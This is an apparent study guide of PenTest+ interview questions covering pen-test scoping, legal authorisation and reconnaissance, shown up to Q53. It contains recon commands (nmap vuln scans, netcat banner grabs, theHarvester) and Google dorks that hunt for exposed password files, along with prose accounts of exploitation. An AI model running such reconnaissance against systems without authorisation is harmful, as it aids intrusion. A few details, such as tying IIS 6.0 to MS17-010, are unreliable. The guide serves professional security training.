

COMPTIA CERTIFIED

PENTEST+

PT0-002

PT0-002

CBROPS

PenTest+

300 Interview Questions & Answers

with Real-World Examples | Exam: PT0-002

01. Planning & Scoping

02. Info Gathering & Recon

03. Vuln Scanning

04. Attacks & Exploits

05. Web App Attacks

06. Social Engineering

07. Post-Exploitation

08. Reporting & Comms

Prepared by

Akhilesh Chaudhari

@akhilesh.webdev | akhileshchaudhari.com

Senior IT Engineer | WordPress Developer | Content Creator

Ahmedabad, Gujarat, India

akhileshchaudhari.com | @akhilesh.webdev

TABLE OF CONTENTS

Exam Code: PT0-002

Certification: CompTIA PenTest+

Total Q&A: 300 Questions

#	Section Name	Question Range	Count
01	Planning & Scoping	Q1 – Q38	38 Qs
02	Information Gathering & Reconnaissance	Q39 – Q80	42 Qs
03	Vulnerability Scanning & Analysis	Q81 – Q115	35 Qs
04	Attacks & Exploits	Q116 – Q175	60 Qs
05	Web Application Attacks	Q176 – Q220	45 Qs
06	Social Engineering Attacks	Q221 – Q245	25 Qs
07	Post-Exploitation & Lateral Movement	Q246 – Q275	30 Qs
08	Reporting & Communication	Q276 – Q300	25 Qs

How to Use This Guide

Each question includes: Q (Question) □ A (Detailed Answer) □ Example (Real-World Scenario). Read answers thoroughly, then relate them to the real-world example for deeper understanding. Ideal for CompTIA PenTest+ exam prep and penetration testing job interviews.

Section 01: Planning & Scoping | Questions 1–38

Q1.

What is penetration testing and how does it differ from a vulnerability scan?

A:

Penetration testing (pen testing) is an authorised, simulated cyber attack on a system, network, or application to find and exploit vulnerabilities — just as a real attacker would. Unlike a vulnerability scan (which only identifies weaknesses automatically), pen testing actively exploits vulnerabilities to demonstrate real impact, provides manual testing beyond tool capabilities, and assesses the business risk of findings.

Example:

A vulnerability scan of a bank's web server reports 'SQL injection possible in login form.' A pen tester goes further — actually exploits it, dumps the user table, and demonstrates that 10,000 customer records can be extracted. The pen test proves actual risk; the scan only flagged potential risk.

Q2.

What is a Rules of Engagement (RoE) document in pen testing?

A:

Rules of Engagement (RoE) is a formal document agreed upon before a pen test that defines: scope (which systems are in/out of scope), testing hours (business hours vs. 24/7), allowed techniques (social engineering allowed or not), communication protocols (who to contact if critical finding is discovered), emergency stop conditions, and legal authorisation. It protects both the tester and the client.

Example:

A pen tester discovers a zero-day vulnerability on a client's payment server during testing. The RoE specifies: 'Immediately call the CISO at +91-XXXXXX for any critical findings before continuing.' The tester stops, calls, and the CISO decides whether to patch before further testing continues.

Q3.

What is the difference between black box, white box, and grey box pen testing?

A:

- Black Box: Tester has zero prior knowledge of the target — simulates an external attacker. Most realistic but time-consuming.
- White Box: Tester has full knowledge — architecture diagrams, source code, credentials. Most thorough and efficient.
- Grey Box: Tester has partial knowledge — limited credentials or network diagrams. Balances realism with efficiency.

Example:

A fintech company hires pen testers for their mobile app: Black Box (external attacker — tester only has the app download link), Grey Box (authenticated user — tester gets a regular user account), White Box (developer review — full source code and API docs provided). Each reveals different vulnerability categories.

Q4.

What is scope creep in pen testing and how is it prevented?

A:

Scope creep occurs when pen testers inadvertently (or intentionally) test systems outside the defined scope – either by following attack paths into out-of-scope systems or misunderstanding boundaries. It is prevented by: clearly defining scope in the Statement of Work (SoW), using IP range lists, getting written approval for any scope changes, and stopping immediately if out-of-scope systems are encountered.

Example:

During a pen test of a company's web server (in scope), a tester follows a server-side request forgery (SSRF) attack into the company's cloud infrastructure (not in scope). Without clear RoE, the tester might continue – potentially causing disruption. With proper RoE, they stop, document the finding, and request written permission before proceeding.

Q5.

What legal document authorises a penetration test?

A:

The primary legal authorisation documents include: Statement of Work (SoW) – defines services, timeline, and cost; Master Service Agreement (MSA) – overarching legal contract; Non-Disclosure Agreement (NDA) – protects confidential information discovered; and the Get-Out-of-Jail-Free Letter – a signed letter from the client authorising the test, carried by testers in case law enforcement is involved.

Example:

A pen tester is caught by a security camera while conducting physical penetration testing. A security guard calls the police. The tester immediately presents their 'get-out-of-jail-free letter' signed by the company's CEO, authorising physical security testing of that facility. The police confirm with the CISO and the tester continues.

Q6.

What is the PTES (Penetration Testing Execution Standard)?

A:

PTES is a comprehensive framework defining the phases and methods of a professional penetration test. It covers 7 phases: Pre-engagement Interactions, Intelligence Gathering, Threat Modelling, Vulnerability Analysis, Exploitation, Post-Exploitation, and Reporting. It provides a consistent, professional standard for conducting and documenting pen tests.

Example:

A pen testing firm uses PTES to structure their methodology for a bank's engagement: Pre-engagement (sign SoW/NDA) □ Intelligence Gathering (OSINT on bank's infrastructure) □ Threat Modelling (identify high-value targets) □ Vulnerability Analysis (scan and manual testing) □ Exploitation □ Post-Exploitation □ Reporting with CVSS scores.

Q7.

What is the OWASP Testing Guide and when is it used?

A:

The OWASP (Open Web Application Security Project) Testing Guide is a comprehensive framework for web application security testing. It provides detailed test cases for every type of web vulnerability – covering 11 categories and 100+ test cases. It is the industry standard reference for web application penetration testing.

Example:

A pen tester testing an e-commerce site uses OWASP Testing Guide section OTG-AUTH-004 (Testing for Bypassing Authentication Schema) to systematically test if the site's session tokens are predictable. They discover tokens are sequential integers – allowing session hijacking of any user.

Q8.

What is threat modelling in the context of pen testing?

A:

Threat modelling is a structured process of identifying what assets need protection, who might attack them (threat actors), how they might attack (attack vectors), and what the impact would be. In pen testing, it helps prioritise testing efforts toward the most realistic and impactful attack scenarios rather than testing everything equally.

Example:

Before pen testing a hospital, the tester conducts threat modelling: High-value assets = patient records database, PACS system. Threat actors = financially motivated ransomware groups, healthcare data thieves. Attack vectors = phishing staff, exploiting VPN, attacking internet-facing apps. Testing is prioritised on these scenarios rather than generic scanning.

Q9.

What is the difference between a pen test and a red team exercise?

A:

- Pen Test: Focused, time-boxed assessment targeting specific systems/applications. Goal is to find and document as many vulnerabilities as possible. Defenders (Blue Team) usually know it's happening.
- Red Team: Full-scope, covert simulation of a realistic APT attack. Goal is to test the organisation's detection and response capabilities. Blue Team does NOT know it's happening.

Example:

A pen test checks if the bank's web app has SQL injection vulnerabilities. A red team exercise uses social engineering to get employee credentials, accesses the internal network, moves laterally for weeks, and tests whether the SOC detects and responds – simulating a real nation-state attack. Only the CEO and CISO know the red team is active.

Q10.

What is a Statement of Work (SoW) in penetration testing?

A:

A SoW is a formal contract that defines the specific work to be performed during a pen test engagement. It includes: scope (target systems, IP ranges, URLs), timeline, deliverables (reports, executive summary), payment terms, testing methods permitted, point of contact, and liability limitations. It forms the legal basis for the engagement.

Example:

A pen testing firm's SoW for a pharma company states: 'Testing scope: 10.0.0.0/24 network and <https://portal.pharma.com>. Duration: 5 business days. Out of scope: production databases. Deliverable: Technical report and executive summary within 3 business days post-engagement.' This document protects both parties legally.

Q11.

What are the key phases of the CompTIA PenTest+ methodology?

A:

CompTIA PenTest+ defines 5 key phases:

1. Planning and Scoping — defining scope, legal authorisation, and RoE
2. Information Gathering and Vulnerability Scanning — reconnaissance and scanning
3. Attacks and Exploits — exploitation of discovered vulnerabilities
4. Reporting and Communication — documenting findings with risk ratings
5. Tools and Code Analysis — using and understanding pen testing tools

Example:

A pen tester follows the PenTest+ methodology for a logistics company: Phase 1 (signs SoW, defines scope as 3 public IPs) □ Phase 2 (Nmap scan, OSINT) □ Phase 3 (exploits outdated Apache, gains shell) □ Phase 4 (writes CVSS-scored report) □ Phase 5 (documents all tools used: Nmap, Metasploit, Burp Suite).

Q12.

What is a passive vs active reconnaissance approach?

A:

- Passive Reconnaissance: Gathering information without directly interacting with the target. Uses public sources only (WHOIS, Google, LinkedIn, Shodan, DNS records). Leaves no trace on target systems.
- Active Reconnaissance: Directly interacting with target systems (port scanning, OS fingerprinting, web crawling). Leaves traces in logs and may trigger IDS alerts.

Example:

Passive: A tester uses Shodan to find that a company's VPN server runs an old Cisco ASA firmware — found from Shodan's historical scan data without touching the target. Active: The tester runs 'nmap -sV 203.x.x.x' to confirm the firmware version — this scan appears in the VPN server's logs.

Q13.

What is a non-disclosure agreement (NDA) in pen testing?

A:

An NDA is a legal contract between the pen testing firm and the client that prevents the pen tester from disclosing confidential information discovered during the engagement – including system details, vulnerabilities found, business processes, and client data – to any third party without authorisation. It protects the client's sensitive information.

Example:

During a pen test, a tester discovers that a pharmaceutical company's test environment contains unreleased drug formula data. The NDA legally prevents the tester from disclosing this to anyone – including mentioning it in case studies or blog posts – protecting the client's intellectual property.

Q14.

What is the purpose of defining testing windows in pen testing?

A:

Testing windows define the specific times during which active testing is permitted. This prevents business disruption during peak hours, ensures IT staff are available to restore services if testing causes unintended outages, and ensures testing doesn't interfere with scheduled maintenance or backups. They are agreed upon in the RoE.

Example:

A retailer allows pen testing only between 10 PM and 4 AM on weekdays to avoid disrupting online sales. When the tester's aggressive port scan causes the web server to become briefly unresponsive at 11 PM, only maintenance staff are affected – not the thousands of customers who shop during business hours.

Q15.

What is CVSS and how is it used in pen test reporting?

A:

CVSS (Common Vulnerability Scoring System) is a standardised framework scoring vulnerabilities from 0.0–10.0 based on: Attack Vector, Attack Complexity, Privileges Required, User Interaction, and impacts on Confidentiality, Integrity, and Availability. Pen testers use CVSS to objectively rate findings so clients can prioritise remediation based on severity.

Example:

A pen tester finds SQL injection in a login form. CVSS Base Score calculation: Attack Vector = Network (1.0), Complexity = Low, No Privileges Required, No User Interaction, Confidentiality Impact = High, Integrity = High, Availability = High □ CVSS Score 9.8 (Critical). This tells the client: patch this first.

Q16.

What is the concept of attack surface in pen testing?

A:

Attack surface is the total sum of different points (attack vectors) where an attacker could attempt to enter or extract data from an environment. It includes: internet-facing IPs, web applications, employee email addresses, physical entry points, wireless networks, APIs, and third-party services. Reducing attack surface is a key security principle.

Example:

A company's attack surface assessment reveals: 12 internet-facing servers, 3 web applications, 200 employee emails findable on LinkedIn, 2 wireless networks, 5 VPN endpoints, and 10 cloud storage buckets. The pen tester maps each as a potential entry point – helping the company see and reduce their exposed footprint.

Q17.

What is compliance-based pen testing vs goal-based pen testing?

A:

- **Compliance-Based:** Testing required to meet a specific regulation or standard (PCI DSS, ISO 27001, HIPAA). Follows a defined checklist of controls and tests. Pass/fail outcome.
- **Goal-Based:** Testing focused on achieving a specific objective – 'Can an attacker reach the payment database?' More realistic, flexible, and simulates real attack scenarios.

Example:

A payment company undergoes PCI DSS compliance pen testing (compliance-based) – checking all 12 PCI requirements systematically. Separately, they commission a goal-based test: 'Can an attacker start from a phishing email and reach our card vault?' The goal-based test reveals a path through HR systems that the compliance test missed.

Q18.

What is an engagement kickoff meeting and what is discussed?

A:

The kickoff meeting is the formal start of a pen test engagement. Agenda: Introduction of team members, review of signed SoW and RoE, confirmation of IP ranges and scope, emergency contact details exchange, testing windows confirmation, communication channel setup (secure email/Signal), discussion of specific concerns or sensitive systems, and alignment on deliverable format.

Example:

In a kickoff meeting for a hospital pen test, the CISO reveals: 'Our ICU monitoring systems are on 192.168.50.0/24 – please exclude these entirely as any disruption could endanger patients.' This critical safety exclusion is added to the RoE on the spot – information that would only emerge in a proper kickoff meeting.

Q19.

What is pivoting in pen testing and why is it relevant to scoping?

A:

Pivoting is the technique of using a compromised system as a launchpad to attack other systems on the same network that may not be directly reachable from the internet. It is highly relevant to scoping because the tester must have written permission to pivot – even if the intermediate system is in scope, the ultimate target system may not be.

Example:

A pen tester compromises an in-scope web server and discovers it can reach the internal HR database (192.168.10.20 – not originally in scope). The tester pauses, contacts the client, and gets written approval to pivot to the HR database before proceeding. Testing without approval could be illegal.

Q20.

What are bug bounty programmes and how do they differ from traditional pen testing?

A:

Bug bounty programmes invite external researchers to find and report vulnerabilities in exchange for monetary rewards. Differences from traditional pen testing: Bug bounty is ongoing/continuous (pen testing is time-boxed), open to anyone who accepts programme terms (pen testing is hired professionals), rewards vary by severity, and testing scope is defined in the programme policy (e.g., HackerOne, Bugcrowd).

Example:

Meta's bug bounty programme on HackerOne offers \$500–\$50,000 for valid security reports. A security researcher finds a CSRF vulnerability in Facebook's account settings, reports it through the programme, and receives \$5,000. Traditional pen testing would have a fixed contract amount regardless of findings.

Q21.

What is a purple team exercise?

A:

A purple team exercise is a collaborative security assessment where Red Team (attackers) and Blue Team (defenders) work together in real time. The Red Team attacks while the Blue Team observes and responds – then both discuss the attack, detection gaps, and improvements together. It bridges the gap between offensive and defensive security.

Example:

In a purple team exercise, the Red Team runs a pass-the-hash attack against Active Directory. The Blue Team watches on their SIEM in real time. They discover the SIEM rule doesn't fire because the attacker used NTLM over a non-standard port. Both teams immediately tune the detection rule together – improving defence in hours rather than after a post-engagement report.

Q22.

What is the importance of data handling and client confidentiality during a pen test?

A:

During pen testing, testers access highly sensitive data (credentials, customer records, financial data, source code). Professional obligations include: storing all data on encrypted drives, never exfiltrating real client data beyond what is needed to demonstrate impact, securely deleting all client data at engagement end, not sharing findings with third parties, and following data retention policies in the contract.

Example:

A pen tester exploits a SQL injection vulnerability and pulls a sample of 5 records to demonstrate impact in the report (no customer data leaves their encrypted laptop). At engagement end, they wipe all client data from their machines. The NDA and SoW mandated this data destruction and the tester provides a signed certificate confirming it.

Q23.

What is the difference between internal and external pen testing?

A:

- External Pen Testing: Simulates an attacker from the internet. Tests internet-facing assets (web apps, VPN, email servers, firewalls). Starts with zero internal access.
- Internal Pen Testing: Simulates an attacker who has gained access inside the network (compromised employee, rogue insider, post-breach scenario). Tests internal network, AD, servers, lateral movement paths.

Example:

External pen test of a law firm finds: old SSL certificate, public-facing RDP on a server. Internal pen test (starting from inside the network as a standard user) finds: overprivileged AD accounts, unencrypted file shares with confidential client documents, and ability to escalate to Domain Admin within 2 hours.

Q24.

What is a lateral thinking approach in pen testing?

A:

Lateral thinking in pen testing involves approaching systems from unexpected angles — not just following standard attack paths. It means thinking creatively about how a real attacker might chain together seemingly low-risk vulnerabilities, abuse legitimate features, or exploit business logic flaws that automated tools completely miss.

Example:

An automated scanner rates a 'verbose error message' as Low severity. A pen tester with lateral thinking recognises the error reveals the internal server path '/var/www/app/config/database.php'. They then test path traversal and retrieve the database credentials — turning a Low finding into a Critical compromise through creative thinking.

Q25.

What is a physical penetration test?

A:

A physical penetration test evaluates physical security controls by attempting to gain unauthorised physical access to facilities. Techniques include: tailgating (following an employee through a secure door), lock picking, badge cloning, social engineering reception staff, dumpster diving for sensitive documents, and planting rogue wireless access points.

Example:

A physical pen tester dresses as an IT contractor, carrying a toolbox. They tailgate through the main entrance, walk directly to the server room, claim they need to 'check a cable', and are let in by a helpful employee. Inside, they plug a Raspberry Pi into the network switch – demonstrating that physical security is the entire network's weakest link.

Q26.

What is a social engineering assessment?

A:

A social engineering assessment tests human security controls by attempting to manipulate employees into revealing credentials, clicking malicious links, granting unauthorised access, or taking actions that compromise security. Common techniques: phishing emails, vishing (voice phishing), pretexting, and baiting.

Example:

A pen tester sends a convincing phishing email to 200 employees appearing to be from IT, asking them to validate their credentials via a fake login portal. 35 employees (17.5%) enter their Active Directory credentials. The pen tester reports this with the full list of affected accounts – demonstrating the human vulnerability.

Q27.

What is the role of OSINT in the planning phase?

A:

OSINT (Open Source Intelligence) during planning helps define the realistic scope of testing by discovering what an attacker already knows about the target: public IP ranges, technologies used, employee names and emails, leaked credentials, exposed services, and subsidiary companies. This shapes the testing approach and threat model.

Example:

Before a pen test engagement, OSINT reveals: the company's job postings mention they use 'Cisco ASA and Palo Alto firewalls' (technology stack), LinkedIn shows 3 network engineers' profiles with their certifications (potential social engineering targets), and Have I Been Pwned shows 200 corporate email addresses in a 2022 breach – suggesting credential stuffing is a realistic attack vector.

Q28.

What is a vulnerability assessment vs a penetration test?

A:

- Vulnerability Assessment: Automated scanning to identify and catalogue known vulnerabilities. Produces a list of potential weaknesses ranked by severity. Does NOT exploit vulnerabilities. Broader coverage, less depth.
- Penetration Test: Goes beyond identification — actually attempts to exploit vulnerabilities to determine real-world risk. Requires skilled human testers. Deeper analysis, specific scope.

Example:

Vulnerability assessment of a web server: Nessus scan reports 47 vulnerabilities including 'Apache 2.4.49 CVE-2021-41773 Path Traversal (Critical)'. Penetration test: Tester exploits CVE-2021-41773, reads /etc/passwd, and then chains it with RCE — demonstrating actual data exposure and server compromise, not just a theoretical risk.

Q29.

What is the importance of proper escalation procedures during a pen test?

A:

Escalation procedures define what a pen tester must do when they discover a critical finding mid-engagement: who to contact, how to communicate securely, and whether to pause testing. Proper escalation prevents the client from suffering real damage from an active breach discovered during testing, and ensures critical issues get immediate attention rather than waiting for the final report.

Example:

During a pen test, a tester discovers active malware on a client's server — not planted by them, but a real infection from an unknown attacker. The RoE escalation procedure says: 'Call CISO immediately for any evidence of prior compromise.' The tester calls, and the client discovers they have been actively breached by a real threat actor — something only caught because of proper escalation protocols.

Q30.

What is environmental reconnaissance in physical pen testing?

A:

Environmental reconnaissance involves physically observing the target facility before attempting entry — identifying entry/exit points, security cameras locations, guard patrol patterns, badge reader types, visitor procedures, employee behaviour patterns, and smoking areas (common tailgating opportunities). It is the physical equivalent of network reconnaissance.

Example:

A physical pen tester spends two days observing a company's headquarters from a nearby café: noting that employees badge in but don't badge out (allowing tailgating), that deliveries are accepted at a side entrance with minimal checking, and that a maintenance door is propped open for ventilation each afternoon. This reconnaissance shapes the actual physical intrusion attempt.

Q31.

What is a pre-engagement questionnaire in pen testing?

A:

A pre-engagement questionnaire collects critical information from the client before the pen test begins: network architecture details, number of IP addresses, web application technologies, previous pen test results, known critical systems, compliance requirements, preferred testing times, and contacts. It helps the pen testing firm scope the effort accurately and price the engagement.

Example:

A questionnaire response reveals the client has 500 IPs but only 5 are internet-facing, uses AWS with 20 EC2 instances, has a .NET web application built in 2018, and had a pen test in 2022 that found 3 criticals. This information allows the pen tester to propose a focused 5-day engagement targeting internet-facing assets and checking if 2022's criticals were remediated.

Q32.

What is the legal framework for pen testing in India?

A:

In India, penetration testing falls under the IT Act 2000 (amended 2008). Section 43 covers unauthorised access to computers, Section 66 covers computer-related offences. A pen tester must have explicit written authorisation from the system owner. Hacking without permission — even with good intentions — is illegal. CERT-In guidelines also regulate security assessments for critical infrastructure.

Example:

An Indian pen tester is hired to test a logistics company's portal. Before starting, they obtain a signed 'Letter of Authorisation' from the company's CTO, specifying target URLs, testing dates, and scope. This document, combined with the SoW, provides complete legal protection under the IT Act 2000 if law enforcement questions their activities.

Q33.

What is risk-based testing prioritisation in pen testing?

A:

Risk-based prioritisation means focusing pen testing efforts on systems with the highest business risk first — not simply the most vulnerable systems. Factors: asset criticality (impact if compromised), likelihood of attack (internet-facing vs internal), data sensitivity (PII, financial data), and regulatory exposure (GDPR, PCI DSS systems).

Example:

A company has 200 internal systems. Risk-based prioritisation identifies: Test the payment gateway first (PCI DSS scope, high impact if breached), then the customer portal (internet-facing, stores PII), then VPN gateways (entry point for remote attackers), and finally internal HR systems (sensitive but not internet-facing). Testing order follows business risk, not alphabetical or random order.

Q34.

What is footprinting in penetration testing?

A:

Footprinting is the systematic process of gathering maximum information about a target before active exploitation. It covers: DNS information, IP ranges, email addresses, technologies, employee names, organisational structure, business partners, and physical locations. It is the first and most critical phase – incomplete footprinting leads to missing attack vectors.

Example:

Footprinting a retail chain: DNS reveals 12 subdomains (including staging.company.com – often less secure than production). WHOIS shows they own the IP range 203.x.x.0/24. LinkedIn shows they use SAP ERP and Oracle DB. Job postings reveal they use Cisco Meraki for networking. This intelligence shapes the entire pen test strategy.

Q35.

What is the principle of minimal footprint in pen testing?

A:

Minimal footprint means pen testers should avoid unnecessary access, data collection, or system changes beyond what is needed to demonstrate a vulnerability's impact. Don't access files beyond the minimum to prove access, don't create more accounts than needed, don't install tools beyond what's required, and clean up any artefacts created during testing. It mirrors responsible real-world attacker behaviour.

Example:

A pen tester exploits a file inclusion vulnerability on a web server. To prove impact, they read the first 3 lines of /etc/passwd (demonstrating file read capability) rather than exfiltrating the entire file system. They document what they could have accessed without actually accessing it – minimising their footprint while fully demonstrating the risk.

Q36.

What is a third-party authorisation challenge in pen testing?

A:

Third-party authorisation challenges arise when the target system is hosted by or connected to a third party (cloud providers, CDN providers, ISPs, co-location facilities). The pen tester must obtain authorisation from BOTH the client AND the third-party provider before testing. Major cloud providers (AWS, Azure, GCP) have specific penetration testing policies.

Example:

A client wants their AWS-hosted application pen tested. The tester must: 1) Get written authorisation from the client (done), 2) Check AWS's penetration testing policy (AWS allows testing of EC2, RDS, CloudFront etc. without prior approval within the customer's own resources, but DDoS testing against AWS infrastructure is prohibited). Testing must stay within AWS's policy to avoid legal issues.

Q37.

What is a 'get-out-of-jail-free' letter and when is it used?

A:

A get-out-of-jail-free letter is a signed, official letter on company letterhead carried by pen testers conducting physical or on-site testing. It states: the company authorises the bearer to conduct security testing at the specified location during the specified dates, and provides the CISO/CTO's direct contact number for verification. It prevents legal issues if caught by security guards or police.

Example:

A pen tester is caught by a shopping mall security guard while attempting to access a server room during a physical pen test. The tester presents their letter signed by the mall's CEO. The guard calls the CEO's mobile (listed in the letter) who confirms the test is authorised. The tester continues – without the letter, they would have been arrested for trespassing.

Q38.

What is the CompTIA PenTest+ certification and who is it for?

A:

CompTIA PenTest+ is an intermediate-level cybersecurity certification validating skills to plan, scope, and perform penetration testing and vulnerability management. Exam: PT0-002. Target audience: Pen testers, security consultants, cloud pen testers, and SOC analysts. It bridges CompTIA Security+ (foundational) and advanced certifications like OSCP. It covers both hands-on techniques and management of pen test engagements.

Example:

A security professional with 3 years of experience in vulnerability scanning and basic security operations passes the PenTest+ PT0-002 exam. This certification qualifies them for roles like Junior Penetration Tester at security consulting firms, Vulnerability Management Analyst, or Security Consultant – serving as a stepping stone toward advanced certifications like OSCP and CEH.

Q39.

What are the key deliverables at the end of a pen test engagement?

A:

Key deliverables include: Technical Report (detailed findings with vulnerability descriptions, CVSS scores, evidence/screenshots, reproduction steps, and remediation recommendations), Executive Summary (non-technical overview for C-suite – business risk and overall posture), Risk Remediation Roadmap (prioritised fixes), and Attestation Letter (confirming testing was completed per scope). Some engagements also include a re-test report after fixes.

Example:

After completing a pen test for a bank, the firm delivers: 1) 85-page Technical Report with all 23 findings (3 Critical, 8 High, 12 Medium), 2) 5-page Executive Summary saying 'Critical vulnerabilities allow unauthenticated access to customer data – immediate action required', 3) Remediation Roadmap prioritised by risk, 4) Offer to re-test Critical findings after patches are applied within 30 days.

Section 02: Information Gathering & Reconnaissance | Questions 39–80

Q40.

What is DNS enumeration and what tools are used?

A:

DNS enumeration is the process of discovering all DNS records associated with a domain to map out the target's infrastructure. Records of interest: A (IPv4), AAAA (IPv6), MX (mail servers), NS (name servers), TXT (SPF, DMARC, verification tokens), CNAME (aliases), and SRV records. Tools: nslookup, dig, dnsx, amass, subfinder, fierce.

Example:

A pen tester runs 'dig any target.com' and discovers: MX records showing they use Google Workspace (mail target), TXT records revealing they use Salesforce and Zoom (SaaS footprint), and an SPF record that is too permissive – allowing spoofing. 'amass enum -d target.com' finds 47 subdomains including dev.target.com and staging.target.com – often less secured.

Q41.

What is WHOIS and what information does it provide?

A:

WHOIS is a query/response protocol that provides registration information about domain names and IP addresses. Information available: registrant name, organisation, email, phone, registration date, expiration date, registrar, and name servers. It helps identify the organisation's contacts and related domains. Privacy protection services may mask individual details.

Example:

WHOIS lookup on a target domain reveals: registered to 'ABC Technologies Pvt Ltd', registrant email 'it-admin@abc.com' (a direct contact for social engineering), registered via GoDaddy, name servers pointing to Cloudflare (indicating CDN usage). Secondary WHOIS on the registrant email finds 12 other domains registered to the same company – revealing subsidiary and test domains.

Q42.

What is Google Dorking (Google Hacking)?

A:

Google Dorking uses advanced Google search operators to find sensitive information indexed by Google that organisations did not intend to expose publicly. Common operators: site: (search within domain), filetype: (specific file types), intitle: (page title), inurl: (URL keywords), and combinations thereof. Results often reveal sensitive documents, login portals, and exposed configurations.

Example:

Google Dork: 'site:target.com filetype:pdf confidential' – finds confidential PDF documents indexed publicly. 'site:target.com inurl:admin' – finds admin panels. 'site:target.com filetype:xlsx password' – finds Excel files with 'password' in content. One search finds an exposed HR Excel file with employee names, salaries, and personal email addresses.

Q43.

What is Shodan and how is it used in reconnaissance?

A:

Shodan is a search engine that scans and indexes internet-connected devices and their banners/metadata. It reveals: open ports, services, software versions, SSL certificate information, geographic location, and known vulnerabilities of internet-exposed devices. Unlike Google which indexes web content, Shodan indexes device metadata and service banners.

Example:

A pen tester searches Shodan for 'org:"Target Company Ltd"' and finds: an exposed Elasticsearch database on port 9200 with no authentication (containing internal logs), a Cisco router with a default 'cisco/cisco' credential banner, and an old IIS 6.0 server (vulnerable to MS17-010). All discovered without touching the target – purely passive intelligence.

Q44.

What is Nmap and what are its key scanning options?

A:

Nmap (Network Mapper) is the industry-standard open-source port scanner and network discovery tool. Key options: -sS (SYN stealth scan), -sV (service version detection), -O (OS detection), -A (aggressive – OS + version + scripts + traceroute), -p- (all 65535 ports), -T4 (faster timing), --script (run NSE scripts), -oA (output all formats).

Example:

Command: 'nmap -sS -sV -O -p- -T4 --script=vuln 192.168.1.10 -oA target_scan'

Result: Port 22 (SSH OpenSSH 7.4), Port 80 (Apache 2.4.49 – vulnerable to CVE-2021-41773), Port 443 (Apache same version), Port 3306 (MySQL 5.7.34 – world-accessible!). NSE vuln script confirms the Apache Path Traversal vulnerability is exploitable. Three critical findings in one scan.

Q45.

What is banner grabbing and what does it reveal?

A:

Banner grabbing is the technique of connecting to a network service and reading its welcome banner, which often reveals software name, version, and operating system. Tools: nc (netcat), telnet, curl, nmap -sV. This information helps identify specific vulnerabilities associated with the identified software version.

Example:

Command: 'nc -v target.com 21' (FTP)

Result: '220 FileZilla Server 0.9.41 beta'

This reveals the server runs an old version of FileZilla (2012) with known vulnerabilities including directory traversal. Command: 'curl -I https://target.com' reveals: 'Server: Apache/2.2.34' – end-of-life Apache with no security updates since 2018.

Q46.

What is subdomain enumeration and why is it important?

A:

Subdomain enumeration discovers all subdomains associated with a target domain. Subdomains often host development environments, staging servers, admin panels, APIs, and legacy systems that are less secured than the main site. Methods: DNS brute-forcing, certificate transparency logs, OSINT tools (amass, subfinder, assetfinder), and Google/Bing dorking.

Example:

Subdomain enumeration of a company reveals: 'dev.company.com' (development server with debug mode on, exposing source code), 'admin.company.com' (admin panel with default credentials), 'api.company.com' (REST API without rate limiting), and 'old.company.com' (legacy PHP 5.6 site). The main 'company.com' is secure, but these subdomains provide multiple entry points.

Q47.

What is certificate transparency and how is it used in recon?

A:

Certificate Transparency (CT) is a public log of all SSL/TLS certificates issued by Certificate Authorities. Since certificates include domain names (including Subject Alternative Names — SANs), CT logs reveal all subdomains for which certificates have been issued — including internal and staging domains that may not appear in public DNS. Tools: crt.sh, censys.io.

Example:

Searching crt.sh for '%.targetcorp.com' reveals certificates issued for: 'vpn.targetcorp.com', 'jira.targetcorp.com', 'confluence.targetcorp.com', 'jenkins.targetcorp.com', and 'gitlab.targetcorp.com' — a complete picture of the company's DevOps infrastructure that wasn't visible in public DNS or web searches. Jenkins and GitLab are high-value targets for source code access.

Q48.

What is LinkedIn OSINT and how is it used in pen testing?

A:

LinkedIn OSINT involves using LinkedIn to gather information about a target organisation: employee names, job titles, departments, technologies mentioned in profiles, certifications held, organisational structure, and hiring patterns. This intelligence is used for social engineering (targeting specific employees) and technology fingerprinting (identifying tech stack from employee skills).

Example:

LinkedIn OSINT on a healthcare company: The IT Manager's profile lists 'Epic EMR, Citrix XenApp, VMware vSphere, Symantec AV' in skills — revealing the exact tech stack. Job postings for 'AWS Security Engineer' suggest migration in progress (potential misconfigurations). Three new network engineers started this year — may not be fully trained on security policies yet.

Q49.

What is theHarvester tool used for?

A:

theHarvester is an OSINT tool that automates email address and employee name gathering from public sources including Google, Bing, LinkedIn, Twitter, Shodan, Hunter.io, and more. It also finds hostnames, IPs, and virtual hosts. It is one of the fastest ways to build a comprehensive target profile for social engineering and phishing campaigns.

Example:

Command: `'theHarvester -d targetcompany.com -b all'`

Output: 234 email addresses found (including `IT@targetcompany.com`, `ceo@targetcompany.com`, `hr@targetcompany.com`), 47 names found (including 'John Smith – IT Director'), 12 hostnames found, 3 virtual hosts. All this intelligence gathered in minutes without touching target systems.

Q50.

What is Maltego and how is it used in reconnaissance?

A:

Maltego is a data mining and link analysis tool that visualises relationships between entities – people, organisations, domains, IPs, phone numbers, and social media accounts. It uses 'transforms' to automatically gather and link OSINT data, revealing connections that would be impossible to find manually. It creates visual relationship maps of a target's digital footprint.

Example:

A Maltego graph of a target company: Starting from the domain, transforms reveal connected domains, which reveal shared hosting with 5 other companies, which reveal a common IT provider, which reveals the IT provider's staff on LinkedIn. The pen tester now knows the outsourced IT company managing the target's infrastructure – a valuable social engineering target.

Q51.

What is OSINT Framework and what does it cover?

A:

OSINT Framework (osintframework.com) is a structured collection of OSINT tools and resources organised by category. Categories include: Username Search, Email Address, Domain, IP Address, Images, Social Networks, Business Records, Public Records, and Dark Web. It serves as a comprehensive reference for pen testers conducting intelligence gathering on any target type.

Example:

A pen tester uses OSINT Framework to investigate a target individual: Username category ▢ Namechk (finds the username on 30 platforms), Email Address ▢ Hunter.io + HaveIBeenPwned (finds 3 breach exposures), Real Name ▢ LinkedIn + Facebook, Phone Number ▢ Truecaller. Within 2 hours, a comprehensive profile of the target employee is assembled – all from public sources.

Q52.

What is a network scan vs a port scan?

A:

- Network Scan (Host Discovery): Identifies which hosts are alive on a network using ICMP ping, ARP, or TCP probes. Answers: 'Which IPs are reachable?' Tools: nmap -sn, fping, arp-scan.
- Port Scan: On discovered hosts, identifies which TCP/UDP ports are open, filtered, or closed. Answers: 'Which services are running?' Tools: nmap, masscan, rustscan.

Example:

Step 1 – Network scan: 'nmap -sn 10.0.0.0/24' discovers 47 live hosts out of 254 possible IPs. Step 2 – Port scan on discovered hosts: 'nmap -sS -p 1-65535 10.0.0.1-254' – finds hosts with open ports: 10.0.0.5 (22, 80, 443), 10.0.0.12 (3389 – RDP!), 10.0.0.25 (27017 – MongoDB!). Each finding prioritised for further testing.

Q53.

What is Masscan and how does it differ from Nmap?

A:

